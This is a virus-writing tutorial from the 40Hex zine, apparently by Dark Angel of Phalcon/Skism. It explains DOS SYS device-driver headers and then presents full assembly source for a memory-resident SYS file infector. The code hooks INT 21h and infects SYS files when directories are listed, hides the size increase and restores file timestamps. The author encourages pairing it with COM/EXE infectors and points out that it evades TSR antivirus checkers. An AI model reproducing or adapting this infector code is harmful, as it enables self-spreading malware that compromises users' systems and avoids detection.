An Introduction to Nonoverwriting Viruses
Part III: SYS Infectors
[By Dark Angel]

           The SYS  file is the most overlooked executable file structure in DOS.
      Viruses are  quite capable of infecting SYS files, as DOS kindly allows for
      such extensions to this file format.

           The SYS  file is loaded beginning at offset 0 of a particular segment.
      It consists  of a  header followed  by code.   SYS  files  may  be  chained
      together after  a simple  modification in  the header.   This is the key to
      infecting SYS files.

           There are  two types  of device  drivers; block  and character.  Block
      devices include  floppy, hard,  and virtual disks, i.e. any media which can
      store data.   Character devices include printers, modems, keyboard, and the
      screen.   The virus  will generally  be a  character device,  as it reduces
      complexity.

      The header structure is straightforward:

      Offset  Size  Description
      ------  ----  -----------
        0h    DWORD Pointer to next header
        4h    WORD  Attribute
        6h    WORD  Pointer to strategy routine
        8h    WORD  Pointer to interrupt routine
       0Ah    QWORD Name of the device driver

      The pointer  to the next device driver header appears at offset zero in the
      header.  This is a far pointer consisting of a segment:offset pair.  If the
      current device  is the  only device  appearing in  the SYS  file, then this
      pointer should  be set  to FFFF:FFFF.   However,  if there  are two or more
      device drivers contained in the file, then the offset field should be equal
      to the absolute location of the next device in the file.  The segment field
      should remain  FFFF.   For example,  if a  second device  driver occurs  at
      offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300  The
      second (and all other) device driver must contain a new header as well.

      The next  field contains  the attribute  of the  device  driver.    Bit  15
      determines the  nature of  the device  driver.   If bit 15 is set, then the
      device driver  header corresponds  to a  character device;  otherwise,  the
      device is  a block  device.   You need not concern yourself with any of the
      other bits; they may remain cleared.

      Before the  next two fields may be understood, it is necessary to introduce
      the concept  of the  request header.   The  request header  contains  DOS's
      requests of the device driver.  For example, DOS may ask for initialisation
      or a  read or  even a  status check.   The information needed by the device
      driver to interpret the request is all contained in the request header.  It
      is passed  to the  strategy routine  by DOS as a far pointer in ES:BX.  The
      job of the strategy routine is to save the pointer for use by the interrupt
      routine.   The interrupt  routine is  called by  DOS immediately  after the
      strategy routine.   This  routine processes  the request  in the header and
      performs the appropriate actions.

      The word-length  pointers in  the SYS  header to the strategy and interrupt
      routines are  relative to  the start  of the SYS file.  So, if the strategy
      routine resides  in absolute  offset  32h  in  the  file,  then  the  field
      containing the location of the strategy routine would hold the number 32h.

      The name  field in  the SYS header simply holds an 8 byte device name.  For
      example, 'NUL     '  and 'CLOCK$  '  are two  common DOS devices.  The name
      should be justified with space characters (0x20).

           By using  DOS's feature  of chaining  SYS files,  we may easily infect
      this type  of file.   No  bytes need to be saved.  There are but two steps.
      The first is to concatenate the virus to the target file.  The second is to
      alter the  first word  of the  SYS file  to point to the virus header.  The
      only trick  involved is  writing the  SYS interrupt routine.  The format of
      the request header is:

      Offset  Size  Description
      ------  ----  -----------
        0h    BYTE  Length of request header (in bytes)
        1h    BYTE  Unit code (for block devices)
        2h    BYTE  Command code
        3h    WORD  Status
        5h    QWORD Reserved by DOS
       0Dh    Var.  Data for the operation

           Only one  command code  is relevant  for  use  in  the  virus.    Upon
      initialisation of  the device driver, DOS will send a request header with 0
      in the  command code  field.  This is the initialisation check.  The format
      of the variable sized field in the request header in this case is:

      Offset  Size  Description
      ------  ----  -----------
       0Dh    BYTE  Number of units (ignored by character devices)
       0Eh    DWORD Ending address of resident program code
       12h    DWORD Pointer to BPB aray (ignored by character devices)
       16h    BYTE  Drive number (irrelevant in character devices)

           The only  relevant fields are at offset 3 and 0Eh.  Offset 3 holds the
      status word of the operation.  The virus fills this in with the appropriate
      value.   Generally, the virus should put a value of 100h in the status word
      in the  event of a successful request and a 8103h in the status word in the
      event of  a failure.   The 8103h causes DOS to think that the device driver
      does not  understand the  request.   A value of 8102h should be returned in
      the event  of a  failed installation.   Offset 0Eh will hold the address of
      the end  of the  virus (include  the heap!)  in the  event of  a successful
      installation and CS:0 in the event of a failure.

           Basically, the  strategy routine  of the virus should contain a simple
      stub to  save the  es:bx pointer.   The  interrupt routine  should fail all
      requests other  than initialisation.   It should perform an installation if
      the virus  is not  yet installed  and fail  if  it  is  already  in  memory
      (remember to set offset 0eh to cs:0).

      A sample  infector with very limited stealth features follows.  While it is
      somewhat large,  it may  be easily  coupled with a simple COM/EXE infection
      routine to  create a  powerful virus.   It  is a  SYS-only, memory resident
      infector.

      ---------------------------------------------------------------------------
      .model tiny
      .code
      org 0                           ; SYS files originate at zero
      ; SYS infector
      ; Written by Dark Angel of Phalcon/Skism
      ; for 40Hex
      header:

      next_header dd -1               ; FFFF:FFFF
      attribute   dw  8000h           ; character device
      strategy    dw  offset _strategy
      interrupt   dw  offset _interrupt
      namevirus   db  'SYS INF '      ; simple SYS infector

      endheader:

      author      db  0,'Simple SYS infector',0Dh,0Ah
                  db    'Written by Dark Angel of Phalcon/Skism',0

      _strategy:  ; save es:bx pointer
              push    si
              call    next_strategy
      next_strategy:
              pop     si
              mov     cs:[si+offset savebx-offset next_strategy],bx
              mov     cs:[si+offset savees-offset next_strategy],es
              pop     si
              retf

      _interrupt:  ; install virus in memory
              push    ds                      ; generally, only the segment
              push    es                      ; registers need to be preserved

              push    cs
              pop     ds

              call    next_interrupt
      next_interrupt:
              pop     bp
              les     bx,cs:[bp+savebx-next_interrupt] ; get request header
      pointer

              mov     es:[bx+3],8103h         ; default to fail request
              cmp     byte ptr es:[bx+2], 0   ; check if it is installation
      request
              jnz     exit_interrupt          ; exit if it is not

              mov     es:[bx+10h],cs          ; fill in ending address value
              lea     si,[bp+header-next_interrupt]
              mov     es:[bx+0eh],si
              dec     byte ptr es:[bx+3]      ; and assume installation failure

              mov     ax, 0b0fh               ; installation check
              int     21h
              cmp     cx, 0b0fh
              jz      exit_interrupt          ; exit if already installed

              add     es:[bx+0eh],offset endheap ; fixup ending address
              mov     es:[bx+3],100h          ; and status word

              xor     ax,ax
              mov     ds,ax                   ; ds->interrupt table
              les     bx,ds:[21h*4]           ; get old interrupt handler
              mov     word ptr cs:[bp+oldint21-next_interrupt],bx
              mov     word ptr cs:[bp+oldint21+2-next_interrupt],es

              lea     si,[bp+int21-next_interrupt]
              cli
              mov     ds:[21h*4],si           ; replace int 21h handler
              mov     ds:[21h*4+2],cs
              sti
      exit_interrupt:
              pop     es
              pop     ds
              retf

      int21:
              cmp     ax,0b0fh                ; installation check?
              jnz     notinstall
              xchg    cx,ax                   ; mark already installed
      exitint21:
              iret
      notinstall:
              pushf
              db      9ah                     ; call far ptr  This combined with
      the
      oldint21 dd     ?                       ; pushf simulates an int 21h call

              pushf

              push    bp
              push    ax

              mov     bp, sp                  ; set up new stack frame
                                              ; flags         [bp+10]
                                              ; CS:IP         [bp+6]
                                              ; flags new     [bp+4]
                                              ; bp            [bp+2]
                                              ; ax            [bp]
              mov     ax, [bp+4]              ; get flags
              mov     [bp+10], ax             ; replace old flags with new

              pop     ax                      ; restore the stack
              pop     bp
              popf

              cmp     ah, 11h                 ; trap FCB find first and
              jz      findfirstnext
              cmp     ah, 12h                 ; FCB find next calls only
              jnz     exitint21
      findfirstnext:
              cmp     al,0ffh                 ; successful findfirst/next?
              jz      exitint21               ; exit if not

              push    bp
              call    next_int21
      next_int21:
              pop     bp
              sub     bp, offset next_int21

              push    ax                      ; save all registers
              push    bx
              push    cx
              push    dx
              push    ds
              push    es
              push    si
              push    di

              mov     ah, 2fh                 ; ES:BX <- DTA
              int     21h

              push    es                      ; DS:BX->DTA
              pop     ds

              cmp     byte ptr [bx], 0FFh     ; extended FCB?
              jnz     regularFCB              ; continue if not
              add     bx, 7                   ; otherwise, convert to regular FCB
      regularFCB:
              mov     cx, [bx+29]             ; get file size
              mov     word ptr cs:[bp+filesize], cx

              push    cs                      ; ES = CS
              pop     es

              cld

              ; The following code converts the FCB to an ASCIIZ string
              lea     di, [bp+filename]       ; destination buffer
              lea     si, [bx+1]              ; source buffer - filename

              cmp     word ptr [si],'OC'      ; do not infect CONFIG.SYS
              jz      bombout

              mov     cx, 8                   ; copy up to 8 bytes
      back:   cmp     byte ptr ds:[si], ' '   ; is it a space?
              jz      copy_done               ; if so, done copying
              movsb                           ; otherwise, move character to
      buffer
              loop    back

      copy_done:
              mov     al, '.'                 ; copy period
              stosb

              mov     ax, 'YS'
              lea     si, [bx+9]              ; source buffer - extension
              cmp     word ptr [si], ax       ; check if it has the SYS
              jnz     bombout                 ; extension and exit if it
              cmp     byte ptr [si+2], al     ; does not
              jnz     bombout
              stosw                           ; copy 'SYS' to the buffer
              stosb

              mov     al, 0                  ; copy null byte
              stosb

              push    ds
              pop     es                      ; es:bx -> DTA

              push    cs
              pop     ds

              xchg    di,bx                   ; es:di -> DTA
                                              ; open file, read/only
              call    open                    ; al already 0
              jc      bombout                 ; exit on error

              mov     ah, 3fh                 ; read first
              mov     cx, 2                   ; two bytes of
              lea     dx, [bp+buffer]         ; the header
              int     21h

              mov     ah, 3eh                 ; close file
              int     21h

      InfectSYS:
              inc     word ptr cs:[bp+buffer] ; if first word not FFFF
              jz      continueSYS             ; assume already infected
                                              ; this is a safe bet since
                                              ; most SYS files do not have
                                              ; another SYS file chained on

      alreadyinfected:
              sub     es:[di+29], heap - header ; hide file size increase
                                              ; during a DIR command
                                              ; This causes CHKDSK errors
             ;sbb     word ptr es:[di+31], 0  ; not needed because SYS files
                                              ; are limited to 64K maximum

      bombout:
              pop     di
              pop     si
              pop     es
              pop     ds
              pop     dx
              pop     cx
              pop     bx
              pop     ax
              pop     bp
              iret

      continueSYS:
              push    ds
              pop     es

              lea     si, [bp+offset header]
              lea     di, [bp+offset bigbuffer]
              mov     cx, offset endheader - offset header
              rep     movsb

              mov     cx, cs:[bp+filesize]
              add     cx, offset _strategy - offset header  ; calculate offset to
              mov     word ptr [bp+bigbuffer+6],cx            ; strategy routine

              add     cx, offset _interrupt - offset _strategy;calculate offset to
              mov     word ptr cs:[bp+bigbuffer+8], cx        ; interrupt routine

      continueinfection:
              mov     ax, 4300h               ; get file attributes
              lea     dx, [bp+filename]
              int     21h

              push    cx                      ; save attributes on stack
              push    dx                      ; save filename on stack

              mov     ax, 4301h               ; clear file attributes
              xor     cx, cx
              lea     dx,[bp+filename]
              int     21h

              call    openreadwrite

              mov     ax, 5700h               ; get file time/date
              int     21h
              push    cx                      ; save them on stack
              push    dx

              mov     ah, 40h                 ; write filesize to the old
              mov     cx, 2                   ; SYS header
              lea     dx, [bp+filesize]
              int     21h

              mov     ax, 4202h               ; go to end of file
              xor     cx, cx
              cwd                             ; xor dx, dx
              int     21h

              mov     ah, 40h                 ; concatenate header
              mov     cx, offset endheader - offset header
              lea     dx, [bp+bigbuffer]
              int     21h

              mov     ah, 40h                 ; concatenate virus
              mov     cx, offset heap - offset endheader
              lea     dx, [bp+endheader]
              int     21h

              mov     ax, 5701h               ; restore file time/date
              pop     dx
              pop     cx
              int     21h

              mov     ah, 3eh                 ; close file
              int     21h

              mov     ax, 4301h               ; restore file attributes
              pop     cx
              pop     dx
              int     21h

              jmp     bombout

      openreadwrite:
              mov     al, 2                   ; open read/write mode
      open:   mov     ah, 3dh
              lea     dx,[bp+filename]
              int     21h
              xchg    ax, bx                  ; put handle in bx
              ret

      heap:
      savebx   dw      ?
      savees   dw      ?
      buffer   db      2 dup (?)
      filename db     13 dup (?)
      filesize dw     ?
      bigbuffer db    offset endheader - offset header dup (?)
      endheap:

      end header
      ---------------------------------------------------------------------------

           The reason the "delta offset" is needed throughout the file is because
      it is  impossible to  know the  exact location  where the  SYS file will be
      loaded into memory.  This can be ameliorated by some file padding and fancy
      mathematical calculations.

           The advantages of using SYS files are manyfold.  There is no load high
      routine involved  apart from  the strategy/interrupt  routines.  This saves
      space.   SYS files  also generally  load before  TSR virus  checkers.   TSR
      checkers also  can't detect the residency routine of the virus, since it is
      a normal part of the DOS loading process.  The routine for the infection of
      the SYS  file is ridiculously easy to implement and takes remarkably little
      space, so  there is  no reason  not to  include  SYS  support  in  viruses.
      Finally, the  memory "loss"  reported by  CHKDSK  usually  associated  with
      memory resident viruses is not a problem with SYS files.

           A SYS  file infector,  when  combined  with  a  COM  and  EXE  general
      infector, can  lead to  a powerful  virus.   Once the  first  SYS  file  is
      infected, the infected system becomes extremely vulnerable to the virus, as
      there is  little the user can  do to prevent the virus  from running, short
      of a clean boot.